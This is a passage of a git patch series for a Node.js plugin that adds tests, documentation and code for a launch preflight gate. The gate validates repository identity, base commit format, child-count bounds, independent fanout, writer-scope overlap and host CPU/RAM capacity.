b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs new file mode 100644 index 0000000..d8b91ae --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -0,0 +1,396 @@ +// P26 run preflight — focused coverage of the launch-side validation gate: +// exact canonical repository/base identity, detached/canonical hostile +// inputs, composition with the accepted run contract, receipt freezing, +// and P03/P24-compatible GitIdentityV1 binding. Capacity and side-effect +// proofs live in their own suites. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { buildGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + describeRunPreflightV1, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + ASSIGNMENT_ID_A, + ASSIGNMENT_ID_B, + createBareRepo, + createDetachedHeadRepo, + createEmptyDirectory, + createLinearRepo, + createLinkedWorktreeRepo, + createReplaceRefRepo, + createSymlinkAliasRepo, + createSymlinkedGitDirRepo, + createTagObjectRepo, + forgeGitDirFileRepo, + hostFacts, + laneManifestsForCount, + twoLaneManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function preflightOk(manifest, options = {}) { + return validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, ...options }); +} + +async function preflightError(manifest, options = {}) { + try { + await preflightOk(manifest, options); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + throw new Error('expected the preflight to fail'); +} + +test('describeRunPreflightV1 is deterministic, frozen, and quotes owned bounds', () => { + const first = describeRunPreflightV1(); + const second = describeRunPreflightV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(first.rule, 'validate_only_no_launch_side_effect'); + assert.equal(first.min_children, PREFLIGHT_MIN_CHILDREN); + assert.equal(first.max_children, PREFLIGHT_MAX_CHILDREN); + assert.equal(PREFLIGHT_MAX_CHILDREN, 8); + assert.equal(PREFLIGHT_MIN_CHILDREN, 1); + assert.equal(typeof PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, 'number'); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(second)); +}); + +test('a passing preflight returns a frozen ready receipt over observed repository facts', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(receipt.version, 1); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.run_id, manifest.run_id); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.equal(receipt.children.count, 2); + assert.equal(receipt.children.concurrency, manifest.policy.max_concurrency); + assert.equal(receipt.repository.path, repo.root); + assert.equal(receipt.repository.base_sha, repo.baseSha); + assert.equal(receipt.repository.object_type, 'commit'); + assert.equal(receipt.repository.git_dir, `${repo.root}/.git`); + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.side_effects[claim], false); + } + assert.ok(Object.isFrozen(receipt)); + assert.ok(Object.isFrozen(receipt.children)); + assert.ok(Object.isFrozen(receipt.capacity)); + assert.ok(Object.isFrozen(receipt.repository)); + assert.ok(Object.isFrozen(receipt.side_effects)); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt binds a P03 GitIdentityV1 that P24 surfaces accept unchanged', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + const expected = buildGitIdentityV1({ + repository_path: repo.root, + base_sha: repo.baseSha, + }); + assert.equal(receipt.git_identity.digest, expected.digest); + assert.equal(receipt.git_identity.schema, expected.schema); + assert.equal(validateGitIdentityV1(receipt.git_identity).digest, expected.digest); + } finally { + await repo.cleanup(); + } +}); + +test('ambient host facts are read when none are injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await validateRunPreflightV1({ manifest }); + assert.equal(receipt.capacity.source, 'ambient'); + assert.ok(Number.isSafeInteger(receipt.capacity.cpu_parallelism)); + assert.ok(Number.isSafeInteger(receipt.capacity.total_ram_bytes)); + assert.ok(Number.isSafeInteger(receipt.capacity.available_ram_bytes)); + } finally { + await repo.cleanup(); + } +}); + +test('injected host facts are reported as injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 3 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 3); + } finally { + await repo.cleanup(); + } +}); + +test('the base SHA must exist as exactly one commit object', async () => { + const repo = await createLinearRepo(); + try { + const missing = '0123456789abcdef0123456789abcdef01234567'; + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: missing }), + ); + assert.equal(error.code, 'base_identity_invalid'); + assert.equal(error.path, 'repository.base_sha'); + } finally { + await repo.cleanup(); + } +}); + +test('tag, tree, and blob objects are denied as the immutable base', async () => { + const repo = await createTagObjectRepo(); + try { + for (const [label, sha] of [ + ['annotated tag object', repo.tagSha], + ['tree object', repo.treeSha], + ['blob object', repo.blobSha], + ]) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: sha }), + ); + assert.equal(error.code, 'base_identity_invalid', label); + } + } finally { + await repo.cleanup(); + } +}); + +test('symbolic or non-canonical base spellings never reach git', async () => { + const repo = await createLinearRepo(); + try { + const spellings = [ + 'HEAD', + '@', + 'main', + 'refs/heads/main', + repo.baseSha.slice(0, 12), + repo.baseSha.toUpperCase(), + `${repo.baseSha}^{commit}`, + `:${repo.baseSha}`, + 'g'.repeat(40), + '0123456789ABCDEF0123456789abcdef01234567', + 'e'.repeat(64), + '', + ]; + let observedSpawns = 0; + for (const spelling of spellings) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: spelling }), + { spawn: () => { + observedSpawns += 1; + throw new Error('no git observation may run for a hostile base spelling'); + } }, + ); + assert.equal(error.code, 'invalid_format', spelling); + assert.match(error.message, /base_sha/u); + } + assert.equal(observedSpawns, 0); + } finally { + await repo.cleanup(); + } +}); + +test('a detached HEAD worktree still passes when the base is an exact commit', async () => { + const repo = await createDetachedHeadRepo(); + try { + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.object_type, 'commit'); + } finally { + await repo.cleanup(); + } +}); + +test('a linked worktree root is a trusted layout for its own objects', async () => { + const repo = await createLinkedWorktreeRepo(); + try { + const linked = await import('node:fs/promises').then((fs) => fs.readFile(`${repo.worktreePath}/.git`, 'utf8')); + assert.match(linked, /^gitdir: /u); + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.worktreePath, baseSha: repo.headSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.notEqual(receipt.repository.git_dir, `${repo.worktreePath}/.git`); + } finally { + await repo.cleanup(); + } +}); + +test('untrusted .git layouts are rejected', async () => { + const forged = await forgeGitDirFileRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: forged.root, baseSha: forged.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await forged.cleanup(); + } + + const symlinked = await createSymlinkedGitDirRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: symlinked.root, baseSha: symlinked.baseSha }), + ); + assert.equal(error.code, 'repository_layout_invalid'); + } finally { + await symlinked.cleanup(); + } +}); + +test('symlink aliases of the canonical repository path are rejected', async () => { + const repo = await createSymlinkAliasRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: `${repo.root}-alias`, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + const canonical = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(canonical.status, 'ready'); + } finally { + await repo.cleanup(); + } +}); + +test('bare repositories and non-repository directories are rejected', async () => { + const bare = await createBareRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: bare.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await bare.cleanup(); + } + const empty = await createEmptyDirectory(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: empty.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await empty.cleanup(); + } +}); + +test('missing repositories fail closed before any deeper observation', async () => { + const error = await preflightError(twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: '0123456789abcdef0123456789abcdef01234567', + })); + assert.equal(error.code, 'repository_missing'); +}); + +test('replace refs shadowing object identity are denied', async () => { + const repo = await createReplaceRefRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'replace_refs_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('an eight-lane run is inside the public bound and reports every child id', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.count, 8); + assert.equal(receipt.children.assignment_ids.length, 8); + assert.equal(new Set(receipt.children.assignment_ids).size, 8); + } finally { + await repo.cleanup(); + } +}); + +const KNOWN_UPSTREAM_CODES = new Set([ + 'invalid_type', 'missing_key', 'unknown_key', 'invalid_format', 'out_of_range', + 'depth_exceeded', 'manifest_too_large', 'manifest_too_complex', 'invalid_array', + 'dependency_not_allowed', 'merge_authority_denied', 'executable_content_denied', + 'credential_content_denied', 'replay_or_fallback_denied', 'direct_mode_rejected', + 'overlapping_writer_scope', 'duplicate_scope_pattern', 'proxy_denied', + 'symbol_key_denied', 'aliased_reference_denied', 'non_enumerable_property_denied', + 'own_undefined_denied', 'invalid_json_value', 'invalid_json_type', 'value_depth_exceeded', +]); + +test('preflight errors carry bounded content-free messages from a closed code set', async () => { + const repo = await createLinearRepo(); + try { + const failures = [ + twoLaneManifest({ repositoryPath: repo.root, baseSha: 'f'.repeat(40) }), + twoLaneManifest({ repositoryPath: '/absent/repo', baseSha: repo.baseSha }), + twoLaneManifest([{ assignment_id: 'x' }]), + ]; + const seen = []; + for (const manifest of failures) { + try { + await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } + const alias = await createSymlinkAliasRepo(); + try { + try { + await validateRunPreflightV1({ + manifest: twoLaneManifest({ repositoryPath: `${alias.root}-alias`, baseSha: alias.baseSha }), + }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } finally { + await alias.cleanup(); + } + for (const error of seen) { + assert.ok(error instanceof RunContractV1Error); + const owned = RUN_PREFLIGHT_ERROR_CODES.includes(error.code); + assert.ok(owned || KNOWN_UPSTREAM_CODES.has(error.code), + `code ${error.code} is outside the closed preflight vocabulary`); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200, error.message); + assert.equal(/[\u0000-\u001f]/u.test(error.message), false, JSON.stringify(error.message)); + } + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.equal(error.code, 'overlapping_writer_scope'); + } finally { + await repo.cleanup(); + } +}); From b359a5cdc7add65a2838fdc3e35117941f1781c1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:31:33 +0000 Subject: [PATCH 094/151] feat(run): enforce eight-child and independent-fanout limits The preflight now enforces the public maximum of eight children per run against its own frozen PREFLIGHT_MIN_CHILDREN/PREFLIGHT_MAX_CHILDREN literals BEFORE composing the accepted upstream contract, so a routine quota change anywhere else can never widen the invariant: a nine-child submission fails with the boundary's own preflight_child_count_exceeded denial and zero git observations. Absent or non-array child sets keep their accepted upstream denials. Independence is re-asserted over the detached frozen snapshot: no dependency edge of any shape survives (preflight_dependency_edge_denied) and child ids stay unique within one run (preflight_duplicate_child_id). The receipt's checks list grows child_bounds and independent_fanout evidence. --- docs/run-preflight.md | 15 +++ .../mcp/v3/run-preflight.mjs | 60 +++++++++++ .../test/r1-run-preflight.test.mjs | 99 +++++++++++++++++++ 3 files changed, 174 insertions(+) diff --git a/docs/run-preflight.md b/docs/run-preflight.md index 8b412d1..c3c0af6 100644 --- a/docs/run-preflight.md +++ b/docs/run-preflight.md @@ -50,6 +50,21 @@ submission's word alone. One observation proves all of: Detached HEAD is deliberately irrelevant: the base identity comes from the object database, never from where HEAD happens to point. +## Bounded independent fanout + +The launch boundary owns the fanout invariant as frozen literals: +`PREFLIGHT_MIN_CHILDREN = 1`, `PREFLIGHT_MAX_CHILDREN = 8`. The child count +is enforced against those literals **before** the composed upstream contract +runs, so a routine quota change anywhere else can never widen the public +maximum: even a future grammar that tolerated more children would still fail +preflight with the boundary's own `preflight_child_count_exceeded` denial. +Independence is re-asserted over the detached frozen snapshot — no +dependency edge of any shape (`preflight_dependency_edge_denied`) and no +duplicate child id (`preflight_duplicate_child_id`) — and writer-scope +disjointness is re-checked pairwise with the accepted conservative +static-prefix intersection, so overlapping writer scopes are detected at +this boundary even though upstream already denies them. + ## Composition Preflight composes accepted surfaces and invents none of their semantics: diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 10bfa8a..00b69e2 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -61,6 +61,7 @@ import { } from './git-identity.mjs'; import { buildGitIdentityV1 } from './protected-identity.mjs'; import { + ASSIGNMENT_ALLOWED_KEYS, RunContractV1Error, isPlainObject, writerScopesOverlap, @@ -125,7 +126,9 @@ const PRIVATE_GITDIR_LINE_PATTERN = /^gitdir: (\/[^\n\r\0]*)$/u; export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ 'request_quarantine', + 'child_bounds', 'complete_run_manifest', + 'independent_fanout', 'canonical_repository', 'exact_base_commit', 'no_replace_refs', @@ -144,6 +147,10 @@ export const RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ // by the composed accepted validators pass through unchanged and stay // authoritative for their surfaces. export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ + 'preflight_child_count_below_minimum', + 'preflight_child_count_exceeded', + 'preflight_dependency_edge_denied', + 'preflight_duplicate_child_id', 'spawn_invalid', 'host_facts_invalid', 'observation_failed', @@ -292,6 +299,57 @@ function parseRequest(request) { return manifest; } +// The public maximum eight children per run is enforced HERE, at the launch +// boundary, against this module's own frozen literals and BEFORE the composed +// upstream contract runs. A routine quota change anywhere else therefore can +// never widen this invariant: even a future grammar that tolerates more +// children still fails preflight with the boundary's own denial. +function enforceChildBounds(manifest) { + assertNotProxy(manifest, 'request.manifest'); + if (!isPlainObject(manifest)) { + failPreflight('invalid_type', 'request.manifest', + 'request.manifest must be a plain JSON data object.'); + } + if (!hasOwn(manifest, 'assignments')) return; // upstream owns missing_key + const assignments = ownDataValue(manifest, 'assignments', 'request.manifest.assignments'); + if (!capturedIsArray(assignments)) return; // upstream owns invalid_type + const count = assignments.length; + if (count < PREFLIGHT_MIN_CHILDREN) { + failPreflight('preflight_child_count_below_minimum', 'assignments', + `A run must carry at least ${PREFLIGHT_MIN_CHILDREN} child assignment.`); + } + if (count > PREFLIGHT_MAX_CHILDREN) { + failPreflight('preflight_child_count_exceeded', 'assignments', + `A run exceeds the public maximum of ${PREFLIGHT_MAX_CHILDREN} independent child assignments.`); + } +} + +// Independent fanout: no submitted child may carry a dependency edge of any +// shape, and every child id must be unique within the run. The accepted P02 +// contract already denies both; this boundary re-asserts it over the detached +// frozen snapshot so the launch gate keeps its own evidence. +function assertIndependentFanout(snapshot) { + const assignments = snapshot.assignments; + const seenIds = new Set(); + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + const assignmentPath = `assignments[${index}]`; + for (const key of sortedOwnKeys(assignment)) { + if (!capturedIncludes(ASSIGNMENT_ALLOWED_KEYS, key)) { + failPreflight('preflight_dependency_edge_denied', `${assignmentPath}.${key}`, + 'Child assignments are independent; dependency edges of any shape are denied.'); + } + } + const idPath = `${assignmentPath}.assignment_id`; + const assignmentId = assignment.assignment_id; + if (seenIds.has(assignmentId)) { + failPreflight('preflight_duplicate_child_id', idPath, + 'Child assignment ids must be unique within one run.'); + } + seenIds.add(assignmentId); + } +} + function summarizeChildren(snapshot) { const assignments = snapshot.assignments; const ids = []; @@ -710,8 +768,10 @@ function buildReceipt(manifest, summary, repositoryFacts, hostFacts) { export async function validateRunPreflightV1(request, options) { const parsedOptions = parseOptions(options); const manifestInput = parseRequest(request); + enforceChildBounds(manifestInput); const snapshot = parseRunManifestV1(manifestInput); const childrenSummary = summarizeChildren(snapshot); + assertIndependentFanout(snapshot); assertSnapshotDisjointWriterScopes(snapshot); const hostFactsSource = parsedOptions.host ?? ambientHostFacts(); const hostFacts = capturedFreeze({ diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs index d8b91ae..7ec66eb 100644 --- a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -380,6 +380,105 @@ test('preflight errors carry bounded content-free messages from a closed code se } }); +test('nine children exceed the public maximum with zero git spawns', async () => { + const repo = await createLinearRepo(); + try { + let spawned = false; + const error = await preflightError( + laneManifestsForCount(9, { repositoryPath: repo.root, baseSha: repo.baseSha }), + { spawn: () => { spawned = true; throw new Error('no observation may run'); } }, + ); + assert.equal(error.code, 'preflight_child_count_exceeded'); + assert.equal(error.path, 'assignments'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /9/u); + } finally { + await repo.cleanup(); + } +}); + +test('an empty child set is below the public minimum', async () => { + const repo = await createLinearRepo(); + try { + const error = await preflightError( + laneManifestsForCount(0, { repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'preflight_child_count_below_minimum'); + assert.equal(error.path, 'assignments'); + } finally { + await repo.cleanup(); + } +}); + +test('absent or non-array child sets defer to the accepted upstream denials', async () => { + const repo = await createLinearRepo(); + try { + const missing = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + delete missing.assignments; + const missingError = await preflightError(missing); + assert.equal(missingError.code, 'missing_key'); + + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.assignments = { not: 'an array' }; + const typeError = await preflightError(foreign); + assert.equal(typeError.code, 'invalid_type'); + } finally { + await repo.cleanup(); + } +}); + +test('dependency edges keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const edged = writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']); + edged.depends_on = [ASSIGNMENT_ID_B]; + const manifest = preflightManifest([ + edged, + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['dependency_not_allowed', 'unknown_key', 'preflight_dependency_edge_denied'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate child ids keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_A, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['duplicate_assignment_id', 'preflight_duplicate_child_id'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('the ready receipt proves the independent bounded fanout', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(3, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.independent, true); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('child_bounds')); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('independent_fanout')); + } finally { + await repo.cleanup(); + } +}); + test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { const repo = await createLinearRepo(); try { From fba6e6e5b7a46faf851cfb3b7ebd2d242a040d0b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:34:06 +0000 Subject: [PATCH 095/151] feat(run): detect overlapping writer scopes and capacity The preflight now denies submissions the host cannot carry before any process spawns: every concurrently running child must get one schedulable CPU slot (cpu_parallelism >= max_concurrency) and its own 256 MiB RAM floor (available_ram_bytes >= concurrency * floor), with typed host_cpu_capacity_exceeded / host_ram_capacity_exceeded denials whose fixed-template messages never echo requested or observed numbers. Host facts come from the ambient host unless injected through the closed options.host seam. Overlapping writer scopes were already re-checked pairwise over the frozen snapshot; the receipt now carries scope_pair_checks evidence proving how many pattern pairs the disjointness check compared, and the overlap denial is proven to fire with zero git observations. --- docs/run-preflight.md | 18 +++ .../mcp/v3/run-preflight.mjs | 34 ++++++ .../test/r1-run-preflight.test.mjs | 108 +++++++++++++++++- 3 files changed, 157 insertions(+), 3 deletions(-) diff --git a/docs/run-preflight.md b/docs/run-preflight.md index c3c0af6..79efa86 100644 --- a/docs/run-preflight.md +++ b/docs/run-preflight.md @@ -65,6 +65,24 @@ disjointness is re-checked pairwise with the accepted conservative static-prefix intersection, so overlapping writer scopes are detected at this boundary even though upstream already denies them. +## Capacity denial + +Every concurrently running child is guaranteed a schedulable CPU slot and a +private RAM floor: + +| Resource | Rule | Denial code | +| --- | --- | --- | +| CPU | `host.cpu_parallelism >= policy.max_concurrency` | `host_cpu_capacity_exceeded` | +| RAM | `host.available_ram_bytes >= max_concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD` (256 MiB) | `host_ram_capacity_exceeded` | + +Host facts are read from the ambient host when not injected; tests inject +exact values through the closed `options.host` seam (validated as +non-negative safe integers — hostile facts fail with +`host_facts_invalid`). The capacity check runs after the pure-data checks +and before any process spawns, so a denied run costs zero git observations. +Denial messages are fixed templates that never echo requested or observed +numbers. + ## Composition Preflight composes accepted surfaces and invents none of their semantics: diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 00b69e2..36c188e 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -129,6 +129,7 @@ export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ 'child_bounds', 'complete_run_manifest', 'independent_fanout', + 'host_capacity', 'canonical_repository', 'exact_base_commit', 'no_replace_refs', @@ -151,6 +152,8 @@ export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ 'preflight_child_count_exceeded', 'preflight_dependency_edge_denied', 'preflight_duplicate_child_id', + 'host_cpu_capacity_exceeded', + 'host_ram_capacity_exceeded', 'spawn_invalid', 'host_facts_invalid', 'observation_failed', @@ -168,6 +171,7 @@ const PRIVATE_RECEIPT_KEYS = capturedFreeze([ ]); const PRIVATE_CHILD_SUMMARY_KEYS = capturedFreeze([ 'count', 'minimum', 'maximum', 'independent', 'concurrency', 'assignment_ids', + 'scope_pair_checks', ]); const PRIVATE_CAPACITY_SUMMARY_KEYS = capturedFreeze([ 'source', 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', @@ -353,9 +357,20 @@ function assertIndependentFanout(snapshot) { function summarizeChildren(snapshot) { const assignments = snapshot.assignments; const ids = []; + let pairChecks = 0; for (let index = 0; index < assignments.length; index += 1) { ids.push(assignments[index].assignment_id); } + // Evidence bound: the same pairwise enumeration the disjointness check + // performs, counted here so the receipt proves the work without echoing + // any pattern text. + for (let left = 0; left < assignments.length; left += 1) { + if (assignments[left].access !== 'writer') continue; + for (let right = left + 1; right < assignments.length; right += 1) { + if (assignments[right].access !== 'writer') continue; + pairChecks += assignments[left].write_scope.length * assignments[right].write_scope.length; + } + } return capturedFreeze({ count: assignments.length, minimum: PREFLIGHT_MIN_CHILDREN, @@ -363,9 +378,27 @@ function summarizeChildren(snapshot) { independent: true, concurrency: snapshot.policy.max_concurrency, assignment_ids: capturedFreeze(ids), + scope_pair_checks: pairChecks, }); } +// Capacity denial: every concurrently running child is guaranteed one +// schedulable CPU slot and a private RAM floor. The comparison uses only +// frozen constants and validated integers; denial messages stay fixed +// templates that never echo requested or observed numbers. +function enforceHostCapacity(hostFacts, concurrency) { + const requiredRamBytes = concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD; + if (hostFacts.cpu_parallelism < concurrency) { + failPreflight('host_cpu_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child a schedulable CPU slot.'); + } + if (hostFacts.available_ram_bytes < requiredRamBytes) { + failPreflight('host_ram_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child its private RAM floor.'); + } + return requiredRamBytes; +} + // Defense-in-depth at the launch boundary: the parsed snapshot is detached // and frozen, so this pairwise recheck cannot race a caller mutation. The // comparison is the accepted conservative static-prefix intersection. @@ -780,6 +813,7 @@ export async function validateRunPreflightV1(request, options) { total_ram_bytes: hostFactsSource.total_ram_bytes, available_ram_bytes: hostFactsSource.available_ram_bytes, }); + enforceHostCapacity(hostFacts, snapshot.policy.max_concurrency); const repositoryFacts = await observeRepositoryAndBase(snapshot, parsedOptions.spawn); return buildReceipt(snapshot, childrenSummary, repositoryFacts, hostFacts); } diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs index 7ec66eb..719aca2 100644 --- a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -36,7 +36,9 @@ import { forgeGitDirFileRepo, hostFacts, laneManifestsForCount, + preflightManifest, twoLaneManifest, + writerLane, } from './fixtures/r1-run-preflight-fixtures.mjs'; const SUFFICIENT_HOST = hostFacts(); @@ -134,9 +136,10 @@ test('injected host facts are reported as injected', async () => { const repo = await createLinearRepo(); try { const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); - const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 3 }) }); + const receipt = await preflightOk(manifest, { host: hostFacts({ total_ram_bytes: 12_345_678_901 }) }); assert.equal(receipt.capacity.source, 'injected'); - assert.equal(receipt.capacity.cpu_parallelism, 3); + assert.equal(receipt.capacity.cpu_parallelism, 8); + assert.equal(receipt.capacity.total_ram_bytes, 12_345_678_901); } finally { await repo.cleanup(); } @@ -487,8 +490,107 @@ test('duplicate writer scopes across lanes keep the accepted overlap denial', as writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), ], { repositoryPath: repo.root, baseSha: repo.baseSha }); - const error = await preflightError(manifest); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('CPU capacity denial fires before any git observation', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 8 }, + }); + let spawned = false; + const error = await preflightError(manifest, { + host: hostFacts({ cpu_parallelism: 7 }), + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'host_cpu_capacity_exceeded'); + assert.equal(error.path, 'capacity'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /7|8/u); + } finally { + await repo.cleanup(); + } +}); + +test('RAM capacity denial honors the per-child floor at exact boundaries', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 2 }, + }); + const oneByteShort = 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD - 1; + const error = await preflightError(manifest, { + host: hostFacts({ available_ram_bytes: oneByteShort, total_ram_bytes: 